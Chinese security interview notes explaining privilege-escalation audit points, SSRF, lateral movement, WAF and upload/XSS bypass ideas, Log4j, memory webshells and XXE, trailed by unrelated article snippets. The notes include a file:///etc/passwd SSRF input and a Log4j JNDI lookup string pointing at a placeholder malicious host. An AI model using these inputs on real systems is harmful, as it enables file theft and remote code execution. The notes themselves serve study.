安全面试2
文章目录
- 简单描述一下什么是水平越权,什么是垂直越权,我要发现这两类漏洞,那我代码审计要注意什么地方
- 水平越权:
- 垂直越权:
- 水平越权漏洞的审计重点
- 垂直越权漏洞的审计重点
- 解释一下ssrf
- 漏洞原理
- 攻击场景
- 修复方法
- 横向移动
- 提权
- win权限提升
- Linux权限提升
- include 和 require区别
- 绕waf的常见姿势
- log4g
- 有哪些混淆绕过的方法
- 文件上传绕过
- XSS绕过
- 内存马
- 常见实现方式:
- 内存马的特点
- 内存马的检测
简单描述一下什么是水平越权,什么是垂直越权,我要发现这两类漏洞,那我代码审计要注意什么地方
水平越权:
用户能够访问或操作其他同级用户的资源或数据。
垂直越权:
低权限用户能够访问或操作高权限用户的功能或资源。
水平越权漏洞的审计重点
- 检查涉及用户数据的接口(如/user/profile?id=123),确保当前用户只能访问自己的数据。
- 查找是否直接使用用户提供的参数(如用户ID)查询数据库,而未验证其权限。
垂直越权漏洞的审计重点
- 检查涉及管理员功能的接口(如/admin/delete_user),确保只有管理员可以访问。
- 查找是否缺少对用户角色的验证。
解释一下ssrf
漏洞原理
攻击者通过构造恶意URL,让服务器访问内部系统(如数据库、管理后台)或外部资源,从而获取敏感信息或执行恶意操作。
攻击场景
- 访问内部服务:
攻击者让服务器访问内网服务(如http://127.0.0.1:8080/admin),获取敏感信息。 - 绕过防火墙:内网服务通常对外不可访问,但通过SSRF,攻击者可以绕过防火墙限制。
- 文件读取:利用file://协议读取服务器本地文件(如file:///etc/passwd)。
- 端口扫描:通过SSRF探测内网开放的端口和服务。
修复方法
- 限制协议:
只允许HTTP/HTTPS协议,禁止file://、gopher://等危险协议。 - 白名单校验:
只允许访问特定的域名或IP地址。 - 禁用重定向:
防止攻击者通过重定向访问内部资源。 - 使用DNS解析:
解析URL的域名,确保其指向允许的外部地址,而不是内网IP。
横向移动
在内⽹渗透中,当攻击者获取到内⽹某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种⽅法,访问域内其他机器,进⼀步扩⼤资产范围。通过横向,攻击者最终获得域控制器的访问权限,甚⾄完全控制基于Windows操作系统的整个内⽹环境,控制域环境下的全部机器。
提权
win权限提升

Linux权限提升

include 和 require区别
include会执行多次,导致报错(重复定义变量)。。而include_once不会出现这种情况。
require和include区别在于:若未包含文件,则报错形式不一样。(require包含错误文件,则include后不
再执行;include未包含文件,会警告,但是仍会执行后面的。)
绕waf的常见姿势
- 混淆和编码:Base64 编码
,URL 编码,Unicode 编码,Hex 编码:将 payload 转换为十六进制,双重编码 - 大小写混淆:WAF 的规则可能是大小写敏感的,通过改变 payload 的大小写可以绕过检测。
- 注释符混淆:在 SQL 注入中,使用注释符(如 /* */、–)可以绕过 WAF 的检测。
- 分块传输编码:利用 HTTP 分块传输编码(Chunked Transfer Encoding)绕过 WAF 的检测。
- HTTP 参数污染(HPP):通过重复提交参数,使 WAF 无法正确解析参数值。
- 使用非常规 HTTP 方法:使用 PUT、DELETE、OPTIONS 等方法。
- 利用 WAF 的规则盲区:超长 payload:WAF 可能对超长 payload 的检测不严格。
特殊字符:使用 WAF 未检测的特殊字符。
多语言 payload:使用非 ASCII 字符。 - 时间延迟绕过:在 SQL 注入中,使用时间延迟函数(如 SLEEP())绕过 WAF 的检测。
- 利用 WAF 的缓存机制:WAF 可能缓存某些请求,通过构造特殊请求绕过检测。
log4g
Log4j是Java开发中广泛使用的日志记录框架,攻击者可以通过构造恶意日志消息触发远程代码执行,从而完全控制目标服务器
漏洞原理
Log4j2支持Lookup功能,允许在日志中动态解析变量(如${java:os})。
攻击者可以通过输入类似${jndi:ldap://恶意地址/攻击代码}的字符串,触发Log4j2向远程服务器请求并执行恶意代码。
由于Log4j2的递归解析特性,攻击者无需特殊配置即可利用该漏洞
修复
删除JndiLookup.class文件,禁用JNDI功能
有哪些混淆绕过的方法
- 变量名混淆:将变量名替换为无意义的随机字符串。
- 字符串加密:将字符串加密或编码,运行时解密。
- 控制流混淆:改变代码的执行顺序,增加跳转和条件判断。
- 代码拆分:将代码拆分为多个部分,运行时动态拼接。
文件上传绕过
- 文件类型伪装:修改文件扩展名或MIME类型。
- 文件内容混淆:在文件中插入垃圾数据或修改文件头。
- 多文件上传:通过上传多个文件,利用服务器解析差异绕过检测。
XSS绕过
- 标签混淆:使用非常规的HTML标签或属性。
- 事件混淆:使用不同的事件触发XSS。
- 编码绕过:对XSS代码进行HTML编码或JavaScript编码。
内存马
内存马的核心思想是通过修改目标应用程序的内存数据(如Servlet、Filter、Controller等),动态注入恶意代码,从而在服务器内存中创建一个隐蔽的后门。
常见实现方式:
- Servlet内存马:通过动态注册一个恶意的Servlet,处理特定请求。
- Filter内存马:通过动态注册一个恶意的Filter,拦截所有请求。
- Controller内存马:在Spring等框架中,动态注册一个恶意的Controller。
- Agent内存马:通过Java Agent技术,动态修改类的字节码。
内存马的特点
无文件落地,隐蔽性强,持久化,高权限:
内存马的检测
内存分析,行为监控,流量分析
XXE
XXE漏洞的成因
XXE漏洞的核心问题是XML解析器在处理外部实体时未进行严格限制,导致攻击者可以通过构造恶意XML文档实现以下攻击:
- 读取服务器上的任意文件。
- 发起SSRF(服务器端请求伪造)攻击。
- 执行远程代码(在某些情况下)。
修复XXE漏洞的核心是禁用外部实体解析。
相关文章:
安全面试2
文章目录 简单描述一下什么是水平越权,什么是垂直越权,我要发现这两类漏洞,那我代码审计要注意什么地方水平越权:垂直越权:水平越权漏洞的审计重点垂直越权漏洞的审计重点 解释一下ssrf漏洞原理攻击场景修复方法 横向移…...
【JavaScript进阶】构造函数数据常用函数
目录 本章节用到的所有素材都可以找到:素材自取~~~~ 1、深入对象 1.1创建对象三种方式 1.2 构造函数 练习 利用构造函数创建多个对象 实例化执行过程 1.3实例成员&静态成员 2. 内置构造函数 2.1 Object 2.2 Array 练习 员工涨薪计算成本 2.3 St…...
在PiscTrace开发者版上直接处理图像色阶分布
在图像处理和计算机视觉中,色阶分布(或称灰度分布)是描述图像中像素强度分布的一个重要概念。它对于理解图像的亮度、对比度、纹理和细节等方面具有关键作用。通过色阶分布的分析,我们能够获得图像的整体信息,从而帮助…...
趣味数学300题1981版-十五个正方形
分析:移动两根变成11个正方形很简单: 移动4根变成15个正方形,分析: 一个田字格包含5个正方形,若要15个正方形需要3个田字格,如果3个田字格完全不重合,需要6*318根火柴。如果合并正方形的边&…...
Selenium实战案例1:论文pdf自动下载
在上一篇文章中,我们介绍了Selenium的基础用法和一些常见技巧。今天,我们将通过中国科学:信息科学网站内当前目录论文下载这一实战案例来进一步展示Selenium的web自动化流程。 目录 中国科学:信息科学当期目录论文下载 1.网页内…...
前端面试-JavaScript 数据类型检测全解
目录 一、基础检测方法 二、方法深度解析 1. typeof 运算符 2. instanceof 运算符 3. 终极检测方案 三、特殊场景检测方案 四、手写实现原理 1. 通用类型检测函数 2. 改进版数组检测(兼容旧浏览器) 五、常见面试陷阱 六、最佳实践指南 七、扩…...
nginx 反向代理 配置请求路由
nginx | 反向代理 | 配置请求路由 nginx简介 Nginx(发音为“Engine-X”)是一款高性能、开源的 Web 服务器和反向代理服务器,同时也支持邮件代理和负载均衡等功能。它由俄罗斯程序员伊戈尔西索夫(Igor Sysoev)于 2004…...
用户中心项目教程(十)---注册里面的重定向排查和相关的修改
文章目录 1.注册逻辑的设计和实现2.解决自带的这个重定向的问题3.增加属性的相关操作4.关于如何修改页面上面的绿色按钮 1.注册逻辑的设计和实现 上次说到了的是登录功能,我们使用数据库里面存在的这个存在的账户和密码进行登录,但是是无法进行跳转的&a…...
根据音频中的不同讲述人声音进行分离音频 | 基于ai的说话人声音分离项目
0.研究背景 在实际的开发中可能会遇到这样的问题,老板让你把音频中的每个讲话人的声音分离成不同的音频片段。你可以使用au等专业的音频处理软件手动分离。但是这样效率太慢了,现在ai这么发达,我们能否借助ai之力来分离一条音频中的不同的说…...
【单片机】【UDS】 (单帧与多帧) 数据传输
对于使用 CAN 的诊断通信系统,每个单帧 (SF)、 第一帧 (FF)、 连续帧 (CF) 或流控 制帧 (FC) 有 8 字节数据场;其中单帧的 CAN_DL≤8 且第一帧的 FF_DL≤4095;下表 中已定义 每个报文的类型。 CAN FD 帧的数据场支持最大 64 个字节࿰…...
WebXR教学 02 配置开发环境
默认操作系统为Windows 1.VS Code VS Code 是一款轻量级、功能强大的代码编辑器,适用于多种编程语言。 下载 步骤 1:访问 VS Code 官方网站 打开浏览器(如 Chrome、Edge 等)。 在地址栏输入以下网址: https://code.v…...
MySql数据库运维学习笔记
数据库运维常识 DQL、DML、DCL 和 DDL 是 SQL(结构化查询语言)中的四个重要类别,它们分别用于不同类型的数据库操作,下面为你简单明了地解释这四类语句: 1. DQL(数据查询语言,Data Query Langu…...
网络协议相关问题
1. HTTP 与 HTTPS 的区别 HTTP:明文传输,端口80,无加密,易被窃听或篡改。HTTPS:SSL/TLS加密传输,端口443,通过数字证书验证身份,防止中间人攻击。 混合加密:非对称加密交…...
宇树科技13家核心零部件供应商梳理!
2025年2月6日,摩根士丹利(Morgan Stanley)发布最新人形机器人研报:Humanoid 100: Mapping the Humanoid Robot Value Chain(人形机器人100:全球人形机器人产业链梳理)。 Humanoid 100清单清单中…...
Windows 启动 SSH 服务报错 1067
Windows 启动 SSH 服务报错 1067 一、原本安装的 Windows 自带的 SSH 服务 按 Windows 键 -> 设置 -> 系统 -> 可选功能 在 添加的功能 查看是否安装了 OpenSSH 服务 一开始 执行 net start sshd 是可以正常启动的 并且其他机器也可以通过 ssh 访问 这个电脑 但是有…...
kkFileView报错no office manager available
背景 部署环境:虚机Linux系统 发生问题的版本:4.1.0-SNAPSHOT 现象:有的docx文件可以预览,有的不可以。不可以的就怎么打开都不可以(不管你是躺着,站着,坐着,睡着,趴着都不行,哈哈) 报错内容 贴出主要的报错内容步骤: > no office manager available > tr…...
ARMS 助力假面科技研发运维提效,保障极致游戏体验
客户介绍与项目背景 假面科技成立于 2014 年,致力于打造创新的数字产品,火爆一时的“狼人杀”、“谁是卧底”、“足记相机”都是假面科技旗下产品,公司产品总数超过 40 款,覆盖用户数超过 2 亿人。 随着业务的持续发展ÿ…...
趣味数学300题1981版-八个等式、五个5等于24
八个等式 分析:此问题的求解思路是按照最后一步运算的运算符号进行分类。示例中最后一步的运算是除法,只要被除数与除数相等且不为0,就可以得到结果1.因此我们还可以对于结果等于1的情况列出其他的算式。如果保持最后一步运算为除法运算&…...
关闭超时订单和七天自动确认收货+RabbitMQ规范
关闭超时订单 创建订单之后的一段时间内未完成支付而关闭订单的操作,该功能一般要求每笔订单的超时时间是一致的 TTL(Time To Live)存活时间,只能被设置为某个固定的值,不能更改,否则抛出异常 死信&#…...
DDD领域驱动开发第2讲:领域驱动开发在货代订单业务的实践
领域驱动开发在货代订单业务的实践 本文是DDD领域驱动开发第2讲,先讲解当前业务存在哪些问题,什么是DDD,为啥需要使用DDD解决现有业务问题,DDD让技术主动理解业务,通过领域模型将可以描述各个业务领域之间的关系,最后讲解领域驱动开发在货代订单的实践。 文章目录 领域驱…...
【Qt学习】| 如何使用QVariant存储自定义类型
QVariant是Qt框架中的一个通用数据类型,可以存储多种类型的数据,主要作用是提供一种类型安全的方式来存储和传递不同类型的数据,而不需要显示地指定数据类型。 QVariant提供了诸多构造函数可以非常方便地对基础数据类型(如&#x…...
分割 学习笔记cvpr2024
目录 LiteMedSam 模型37m LightM-Unet 500 str 依赖项: MLWnet 73 star memsam 340M 126 star LiteMedSam 模型37m https://github.com/bowang-lab/MedSAM/blob/LiteMedSAM/README.md LightM-Unet 500 str https://github.com/MrBlankness/LightM-UNet/blob model = Li…...
【多模态处理篇一】【 深度解析DeepSeek图文匹配:CLIP模型迁移实战——从原理到落地的保姆级教程】
引言:当CLIP遇到DeepSeek,会发生什么化学反应? 如果说CLIP是OpenAI为多模态领域投下的"原子弹",那DeepSeek的迁移实战方案就是给这颗原子弹装上了精确制导系统。这个组合能让你用一张猫咪表情包搜到全网同类梗图,还能让电商平台自动生成百万级商品描述,甚至帮…...
水果生鲜农产品推荐系统 协同过滤余弦函数推荐水果生鲜农产品 Springboot Vue Element-UI前后端分离 代码+开发文档+视频教程
水果生鲜农产品推荐系统 协同过滤余弦函数推荐水果生鲜农产品 Springboot Vue Element-UI前后端分离 【亮点功能】 1.SpringbootVueElement-UIMysql前后端分离 2.Echarts图表统计数据, 直观展示数据情况 3.发表评论后,用户可以回复评论, 回复的评论可以被再次回复, …...
1.vue使用vite构建初始化项目
npm create vuelatest❯ npm create vuelatest> npx > create-vueVue.js - The Progressive JavaScript Framework✔ Project name: … vue3_test ✔ Add TypeScript? … No / Yes ✔ Add JSX Support? … No / Yes ✔ Add Vue Router for Single Page Application dev…...
在PyCharm中运行Jupyter Notebook的.ipynb文件及其pycharm软件的基础使用
(注意需使用PyCharm专业版,学生、教师可以申请免费使用:https://www.jetbrains.com/shop/eform/students) 1. pycharm2024版汉化 https://blog.csdn.net/m0_74103046/article/details/144560999 2. pycharm中的python控制台和J…...
深度体验通义灵码2.0 AI 程序员
通义灵码2.0 作为一名开发者,我去年就使用过1.0,近期有幸体验了 2.0,这是一款集成了 Deepseek 大模型的智能编码助手。在这次体验中,我深入探索了新功能开发、跨语言编程、单元测试自动生成、图生代码等多个场景,深刻…...
Coroutine协程
cooperation 协作 routine 程序,常规 协程核心:函数能够被挂起suspend,当然也能被回复resume 内置函数:also 返回对象本身 扩展: 内置函数let、also、with、run、apply大大提高你的开发效率! 协程的作用:…...
使用IDEA提交SpringBoot项目到Gitee上
登录Gitee并新建仓库 创建本地仓库 提交本地代码到本地仓库 提交本地代码到远程仓库...
Windows安装MySQL指南
1.下载 下载地址:https://www.mysql.com/downloads/ 下载版本:MySQL Installer for Window 2.安装MySQL 以下只列出需要注意的一些界面,没出现的界面默认继续即可。 1.选择安装类型 提供了多种安装模式,包括默认开发版、仅…...
